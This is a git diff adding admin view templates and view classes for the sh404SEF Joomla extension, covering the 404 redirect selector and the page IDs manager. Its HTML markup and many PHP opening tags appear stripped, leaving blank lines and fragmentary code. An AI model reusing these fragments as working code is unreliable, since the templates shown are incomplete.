    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j2_filters.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j2_filters.php new file mode 100644 index 00000000..0f84dfca --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j2_filters.php @@ -0,0 +1,42 @@ + + + + + + + + + + + +
    + : + + + + +   + + optionsSelect->filter_similar_urls; ?> + + optionsSelect->components; ?> + + optionsSelect->languages; ?> + + optionsSelect->filter_url_type; ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j3.php new file mode 100644 index 00000000..597c3021 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j3.php @@ -0,0 +1,196 @@ + + +
    + +
    +
    +
    +escape( $this->url->oldurl), 'editurl'), 'info', $dismiss = false, 'label-large'); +?> +
    +
    + + + +
    +
    +
    + +
    + +
    + +
    + +
    + +
    +
    + filterSimilarUrls) + { + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.search_all', $this->options); + } + + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $this->pagination); + echo '
    ' . $this->pagination->getListFooter() . '
    '; + ?> +
    +
    + +
    + +
    + +
    + +
    +
    + + alertMsg)) +{ + echo ShlHtmlBs_Helper::alert($this->alertMsg, 'info', $dismiss = false, 'alert-centered'); +} + +?> + +
    + + itemCount > 0 ) { + ?> + + + + + + + + + + + + + + + + + itemCount; $i++) { + + $url = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $url->id); + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' ? ShlHtmlBs_Helper::iconglyph('', 'wrench', JText::_('COM_SH404SEF_CUSTOM_URL_LINK_TITLE')) : ' '; + $alt = JText::sprintf('COM_SH404SEF_NOT_FOUND_REDIRECT_TO', $this->escape( $this->url->get('oldurl')), $this->escape($url->oldurl)); + ?> + + + + + + + + + + + +
      + + + + + + options->filter_similar_urls == 0) { + echo JHTML::_('grid.sort', JText::_( 'COM_SH404SEF_SEF_URL'), 'oldurl', $this->options->filter_order_Dir, $this->options->filter_order); + } else { + echo JText::_( 'COM_SH404SEF_SEF_URL'); + } + ?> + + +
    + ' . $this->pagination->getListFooter() . ''; ?> +
    + pagination->getRowOffset( $i ); ?> + + + + pageid) ? '' : ShlHtmlBs_Helper::badge($this->escape($url->pageid), 'info'); + ?> + + escape($url->oldurl); ?> + + +
    +
    ' . JText::_( 'COM_SH404SEF_NO_URL' ) . '
    '; + } + ?> + +
    + + + + + + + + + + + + +
    + +
    +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/refresh_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/refresh_j3.php new file mode 100644 index 00000000..0164e682 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/refresh_j3.php @@ -0,0 +1,17 @@ +refreshAfter = 1500; +ShlMvcLayout_Helper::render('com_sh404sef.general.refresh_parent', $displayData); + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/view.html.php new file mode 100644 index 00000000..4c1a2d8e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/view.html.php @@ -0,0 +1,259 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + // get model and update context with current + $model = $this->getModel(); + $context = $model->updateContext($this->_context . '.' . $this->getLayout()); + + // get url id + $notFoundUrlId = JRequest::getInt('notfound_url_id'); + + // read url data from model. This is the 404 request we want to + // redirect to something else + // must be called before model->getList() + $url = $model->getUrl($notFoundUrlId); + + // and push url into the template for display + $this->url = $url; + + // attach data, according to specific layout requested + if ($this->getLayout() == 'default') + { + $this->_attachDataDefault(); + } + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_list.css'); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapModalFixCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // variable for modal, not used in 3..x+ + $params = array(); + + if ($this->getLayout() == 'default') + { + // add display filters + $this->_addFilters(); + } + } + else + { + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_urls.css'); + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/list.css'); + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/list.js'); + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/notfound.js'); + + // add behaviors and styles as needed + $modalSelector = 'a.modalediturl'; + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) {parent.window.location=\'' + . $this->defaultRedirectUrl . '\';window.parent.shReloadModal=true}}'; + $params = array('overlayOpacity' => 0, 'classWindow' => 'sh404sef-popup', 'classOverlay' => 'sh404sef-popup', 'onClose' => $js); + Sh404sefHelperHtml::modal($modalSelector, $params); + + $options = $model->getDisplayOptions(); + $this->optionsSelect = $this->_makeOptionsSelect($options); + + // add confirmation phrase to toolbar + $this->toolbarTitle = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_NOT_FOUND_SELECT_REDIRECT'), $icon = 'sh404sef', + $class = 'sh404sef-toolbar-title'); + $this->_makeToolbarDefaultJ2($params); + } + + // now display normally + parent::display($this->joomlaVersionPrefix); + + } + + /** + * Push data needed for display into the view + * for the default layout + */ + private function _attachDataDefault() + { + // get a notFound model + $model = $this->getModel(); + + // current options + $options = (object) array('layout' => $this->getLayout()); + + // check if we have similar urls, if not switch to displaying all SEF + // make sure we use latest user state + $model->updateContextData(); + $filters = $model->getDisplayOptions(); + $this->filterSimilarUrls = $filters->filter_similar_urls; + if ($filters->filter_similar_urls) + { + $total = $model->getTotal($options); + if (empty($total)) + { + // switch to show all SEF + $model->setDisplayOptions('filter_similar_urls', 0); + $this->filterSimilarUrls = false; + + // reset data in model, as it has been cached from getting the total + $model->resetData(); + + // and add a message to tell user + $this->alertMsg = JText::_('COM_SH404SEF_NOT_FOUND_SWITCHING_TO_DISPLAY_ALL_SEF'); + } + } + + // read data from model + $list = $model->getList($options); + + // and push it into the view for display + $this->items = $list; + $this->itemCount = is_array($this->items) ? count($this->items) : 0; + $this->pagination = $model->getPagination($options); + $options = $model->getDisplayOptions(); + $this->options = $options; + + // additional text displayed + $this->mainTitle = JText::_('COM_SH404SEF_NOT_FOUND_SELECT_REDIRECT_FOR'); + } + + /** + * Create toolbar for current view + * + * @param midxed $params + */ + private function _makeToolbarDefaultJ2($params = null) + { + // add confirmation phrase to toolbar + $this->toolbarTitle = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_NOT_FOUND_SELECT_REDIRECT'), $icon = 'sh404sef', + $class = 'sh404sef-toolbar-title'); + + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + // add save button as an ajax call + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + $params['class'] = 'modalediturl'; + $params['id'] = 'modalediturlsave'; + $params['closewindow'] = 1; + $bar + ->appendButton('Shajaxbutton', 'selectnfredirect', JText::_('COM_SH404SEF_NOT_FOUND_SELECT_REDIRECT'), + "index.php?option=com_sh404sef&c=notfound&task=selectnfredirect&shajax=1&tmpl=component", $params); + + // other button are standards + $bar->appendButton('Standard', 'back', JText::_('COM_SH404SEF_BACK_TO_NOT_FOUND'), 'backPopup', false, false); + + // push in to the view + $this->toolbar = $bar; + + return $bar; + } + + private function _makeOptionsSelect($options) + { + $selects = new StdClass(); + + // component list + $current = $options->filter_component; + $name = 'filter_component'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_COMPONENTS'); + $selects->components = Sh404sefHelperHtml::buildComponentsSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // language list + $current = $options->filter_language; + $name = 'filter_language'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_LANGUAGES'); + $selects->languages = Sh404sefHelperHtml::buildLanguagesSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, $selectAllTitle); + + // select aliases + $current = $options->filter_alias; + $name = 'filter_alias'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_ALIASES'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_ALIASES, 'title' => JText::_('COM_SH404SEF_ONLY_ALIASES')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_NO_ALIASES, 'title' => JText::_('COM_SH404SEF_ONLY_NO_ALIASES'))); + $selects->filter_alias = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // select custom + $current = $options->filter_url_type; + $name = 'filter_url_type'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_URL_TYPES'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'title' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'title' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + $selects->filter_url_type = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // select similar urls or all + $current = $options->filter_similar_urls; + $name = 'filter_similar_urls'; + $data = array(array('id' => 1, 'title' => JText::_('COM_SH404SEF_NOT_FOUND_SHOW_SIMILAR_URLS')), + array('id' => 0, 'title' => JText::_('COM_SH404SEF_NOT_FOUND_SHOW_ALL_URLS'))); + $selects->filter_similar_urls = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = false); + + // return set of select lists + return $selects; + } + + private function _addFilters() + { + // component selector + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_COMPONENTS'), 'filter_component', + JHtml::_('select.options', Sh404sefHelperGeneral::getComponentsList(), 'element', 'name', $this->options->filter_component, true)); + + // language list + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_LANGUAGES'), 'filter_language', + JHtml::_('select.options', JHtml::_('contentlanguage.existing', $all = false, $translate = true), 'value', 'text', + $this->options->filter_language, false)); + + // select aliases + $data = array(array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_ALIASES, 'text' => JText::_('COM_SH404SEF_ONLY_ALIASES')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_NO_ALIASES, 'text' => JText::_('COM_SH404SEF_ONLY_NO_ALIASES'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_ALIASES'), 'filter_alias', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_alias, true)); + + // select custom + $data = array(array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'text' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'text' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_URL_TYPES'), 'filter_url_type', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_url_type, true)); + + // select similar urls or all + $data = array(array('value' => 1, 'text' => JText::_('COM_SH404SEF_NOT_FOUND_SHOW_SIMILAR_URLS')), + array('value' => 0, 'text' => JText::_('COM_SH404SEF_NOT_FOUND_SHOW_ALL_URLS'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_NOT_FOUND_SHOW_SIMILAR_URLS'), 'filter_similar_urls', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_similar_urls, true), true); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/view.raw.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/view.raw.php new file mode 100644 index 00000000..db5612de --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/view.raw.php @@ -0,0 +1,33 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j2.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j2.full.php new file mode 100644 index 00000000..b17d75f2 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j2.full.php @@ -0,0 +1,172 @@ + + +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + helpMessage)) echo $this->helpMessage; ?> + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + +
    + +loadTemplate( $this->joomlaVersionPrefix . '_filters')?> + +
    + + + + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $url = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $url->pageidid); + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' ? 'Custom' : ' '; + ?> + + "> + + + + + + + + + + + + + + + + + + +
    + + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + + +
    + pagination->getListFooter(); ?> +
    + pagination->getRowOffset( $i ); ?> + + + + pageid) ? ' ' : $this->escape( $url->pageid); ?> + + id.']" value="'.(empty($url->metaid) ? 0 : $url->metaid).'" />'; + echo ''; + // link to full meta edit + $anchor = empty($url->oldurl) ? '(-)' : $this->escape( $url->oldurl); + $anchor .= '
    (' . $this->escape( $url->nonsefurl) . ')'; + + $linkData = array( 'c' => 'editurl', 'task' => 'edit', 'view' => 'editurl', 'startOffset' => '1','cid[]' => $url->id, 'tmpl' => 'component'); + $metaData = array( 'title' => JText::_('COM_SH404SEF_MODIFY_META_TITLE') . ' ' .$url->oldurl, 'class' => 'modalediturl', 'anchor' => $anchor); + $modalOptions = array( 'size' => array('x' =>800, 'y' => 600)); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $metaData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + + // small preview icon + $sefConfig = & Sh404sefFactory::getConfig(); + $link = JURI::root() . ltrim( $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . (empty($url->oldurl) ? $url->nonsefurl : $url->oldurl); + echo ' '; + echo '\''.JText::_('COM_SH404SEF_PREVIEW').'\''; + echo ''; + ?> +
    + +
    + +
    + + + + + + + + + + + +
    +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j2.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j2.php @@ -0,0 +1,17 @@ + + + + + + + + + + + + +
    + : + + + + + : + + + + +   + + optionsSelect->components; ?> + + optionsSelect->languages; ?> + + optionsSelect->filter_url_type; ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j3.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j3.full.php new file mode 100644 index 00000000..be5d54a3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j3.full.php @@ -0,0 +1,211 @@ + +
     
    + + +
    + +
    + +
    +
     
    +
    + options); + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.search_shurl', $this->options); + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $this->pagination); + echo '
    '; + ?> +
    +
    + + +
    +sidebar; ?> +
    + + +
    + + + +
    + options); + + if (!$this->slowServer) + { + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.search_shurl', $this->options); + } + + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $this->pagination); + + if ($this->slowServer) : ?> + + + + +
    + + +
    + + +
    +
    + helpMessage, $type = 'info', $dismiss = true); + echo Sh404sefHelperLanguage::getLanguageFilterWarning(); + ?> + +
    + + + + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $url = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $url->pageidid); + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' ? ShlHtmlBs_Helper::iconglyph('', 'wrench', JText::_('COM_SH404SEF_CUSTOM_URL_LINK_TITLE')) : ' '; + ?> + + + + + + + + + + + + + + + + + + + + +
      + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + + +
    + ' . $this->pagination->getListFooter() . ''; ?> +
    + pagination->getRowOffset( $i ); ?> + + + + pageid) ? '' : ShlHtmlBs_Helper::badge($this->escape($url->pageid), 'info'); ?> + + id.']" value="'.(empty($url->metaid) ? 0 : $url->metaid).'" />'; + echo ''; + // link to full meta edit + $anchor = empty($url->oldurl) ? '(-)' : $this->escape( $url->oldurl); + $anchor .= '
    (' . $this->escape( $url->nonsefurl) . ')'; + $params = array(); + $linkData = array( 'c' => 'editurl', 'task' => 'edit', 'view' => 'editurl', 'startOffset' => '1','cid[]' => $url->id, 'tmpl' => 'component'); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $displayedUrl = empty($url->oldurl) ? $url->nonsefurl : $url->oldurl; + $params['linkTitle'] = JText::_('COM_SH404SEF_MODIFY_META_TITLE') . ' ' . $this->escape($displayedUrl); + $modalTitle = ''; + $params['linkClass'] = 'shl-list-sef'; + $params['linkType'] = 'a'; + $name = '-editurl-' . $url->id; + echo ShlHtmlModal_helper::modalLink($name, $anchor, $targetUrl, Sh404sefFactory::getPConfig()->windowSizes['editurl']['x'], Sh404sefFactory::getPConfig()->windowSizes['editurl']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + + // small preview icon + $sefConfig = & Sh404sefFactory::getConfig(); + $link = JURI::root() . ltrim( $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . (empty($url->oldurl) ? $url->nonsefurl : $url->oldurl); + echo ' '; + echo '\''.JText::_('COM_SH404SEF_PREVIEW').'\''; + echo ''; + ?> +
    + +
    + +
    + +
    + +
    + + +
    + + + + + + + + + + + + +
    +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j3.php new file mode 100644 index 00000000..970c1a25 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j3.php @@ -0,0 +1,16 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/view.html.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/view.html.full.php new file mode 100644 index 00000000..ed2e4629 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/view.html.full.php @@ -0,0 +1,275 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + $this->footerText = JText::sprintf('COM_SH404SEF_FOOTER_' . strtoupper(Sh404sefConfigurationEdition::$id), + Sh404sefFactory::getConfig()->version, Sh404sefConfigurationEdition::$name, date('Y')); + + // get model and update context with current + $model = ShlMvcModel_Base::getInstance('urls', 'Sh404sefModel'); + $context = $model->setContext($this->_context . '.' . $this->getLayout()); + + // display type: simple for very large sites/slow slq servers + $sefConfig = &Sh404sefFactory::getConfig(); + + // store it + $model = $this->setModel($model, true); + + // read data from model + $list = $model + ->getList( + (object) array('layout' => $this->getLayout(), 'getPageId' => true, 'simpleUrlList' => true, 'slowServer' => $sefConfig->slowServer)); + + // and push it into the view for display + $this->items = $list; + $this->itemCount = count($this->items); + $this->pagination = $model + ->getPagination( + (object) array('layout' => $this->getLayout(), 'getPageId' => true, 'simpleUrlList' => true, 'slowServer' => $sefConfig->slowServer)); + $options = $model->getDisplayOptions(); + $this->options = $options; + $this->helpMessage = JText::_('COM_SH404SEF_PAGEID_HELP'); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_list.css'); + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/j3.js'); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // add display filters + $this->_addFilters(); + + // variable for modal, not used in 3..x+ + $params = array(); + + // render submenu sidebar + $this->sidebar = Sh404sefHelperHtml::renderSubmenu(); + } + else + { + // add behaviors and styles as needed + $modalSelector = 'a.modalediturl'; + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) {parent.window.location=\'' + . $this->defaultRedirectUrl . '\';window.parent.shReloadModal=true}}'; + $params = array('overlayOpacity' => 0, 'classWindow' => 'sh404sef-popup', 'classOverlay' => 'sh404sef-popup', 'onClose' => $js); + Sh404sefHelperHtml::modal($modalSelector, $params); + + $this->optionsSelect = $this->_makeOptionsSelect($options); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/list.css'); + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/list.js'); + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/metas.js'); + } + + // build the toolbar + $toolbarMethod = '_makeToolbar' . ucfirst($this->getLayout() . ucfirst($this->joomlaVersionPrefix)); + if (is_callable(array($this, $toolbarMethod))) + { + $this->$toolbarMethod($params); + } + + // now display normally + parent::display($this->joomlaVersionPrefix); + } + + /** + * Create toolbar for default layout view + * + * @param midxed $params + */ + private function _makeToolbarDefaultJ2($params = null) + { + // add title + $title = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_PAGEIDS_MANAGER'), $icon = 'sh404sef', + $class = 'sh404sef-toolbar-title'); + JFactory::getApplication()->JComponentTitle = $title; + + // get toolbar object + $bar = JToolBar::getInstance('toolbar'); + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + + // add import button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 400); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=import&opsubject=pageids'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'import', $url, JText::_('COM_SH404SEF_IMPORT_BUTTON'), $msg = '', $task = 'import', + $list = false, $hidemenu = true, $params); + + // add import button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 380); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=pageids'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'export', $url, JText::_('COM_SH404SEF_EXPORT_BUTTON'), $msg = '', $task = 'export', + $list = false, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // add delete button as an ajax call + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 300); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=pageids&task=confirmdelete&tmpl=component'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'delete', $url, JText::_('Delete'), $msg = JText::_('VALIDDELETEITEMS', true), + $task = 'purgeselected', $list = true, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // add modal handler for configuration + JHTML::_('behavior.modal'); + $configbtn = '' + . JText::_('COM_SH404SEF_CONFIGURATION') . ''; + $bar->appendButton('custom', $configbtn, 'sh-configbutton-button'); + } + + /** + * Create toolbar for default layout view + * + * @param midxed $params + */ + private function _makeToolbarDefaultJ3($params = null) + { + // add title + JToolbarHelper::title('sh404SEF: ' . JText::_('COM_SH404SEF_PAGEIDS_MANAGER'), 'sh404sef-toolbar-title'); + + // add "New url" button + $bar = JToolBar::getInstance('toolbar'); + + // prepare configuration button + $bar->addButtonPath(SHLIB_ROOT_PATH . 'toolbarbutton'); + + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['import']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-upload'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=import&opsubject=pageids'; + $bar + ->appendButton('J3popuptoolbarbutton', 'import', JText::_('COM_SH404SEF_IMPORT_BUTTON'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_IMPORTING_TITLE'), $params); + + // add import button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['export']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-download'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=pageids'; + $bar + ->appendButton('J3popuptoolbarbutton', 'export', JText::_('COM_SH404SEF_EXPORT_BUTTON'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_EXPORTING_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // add delete button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['confirm']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-trash'; + $params['checkListSelection'] = true; + $url = 'index.php?option=com_sh404sef&c=pageids&task=confirmdelete&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'delete', JText::_('JTOOLBAR_DELETE'), $url, $params['size']['x'], $params['size']['y'], $top = 0, + $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_CONFIRM_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // prepare configuration button + $params = array(); + $params['class'] = 'modaltoolbar btn-success'; + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['configuration']; + $params['buttonClass'] = 'btn-success btn btn-small modal'; + $params['iconClass'] = 'icon-options'; + $url = 'index.php?option=com_sh404sef&tmpl=component&c=configuration&view=configuration&component=com_sh404sef&hidemainmenu=1'; + $bar + ->appendButton('J3popuptoolbarbutton', 'configj3', JText::_('COM_SH404SEF_CONFIGURATION'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = '', $params); + } + + private function _makeOptionsSelect($options) + { + $selects = new StdClass(); + + // component list + $current = $options->filter_component; + $name = 'filter_component'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_COMPONENTS'); + $selects->components = Sh404sefHelperHtml::buildComponentsSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // language list + $current = $options->filter_language; + $name = 'filter_language'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_LANGUAGES'); + $selects->languages = Sh404sefHelperHtml::buildLanguagesSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, $selectAllTitle); + + // select custom + $current = $options->filter_url_type; + $name = 'filter_url_type'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_URL_TYPES'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'title' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'title' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + $selects->filter_url_type = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + return $selects; + } + + private function _addFilters() + { + // component selector + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_COMPONENTS'), 'filter_component', + JHtml::_('select.options', Sh404sefHelperGeneral::getComponentsList(), 'element', 'name', $this->options->filter_component, true)); + + // language list + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_LANGUAGES'), 'filter_language', + JHtml::_('select.options', JHtml::_('contentlanguage.existing', $all = false, $translate = true), 'value', 'text', + $this->options->filter_language, false)); + + // select custom + $data = array(array('value' => 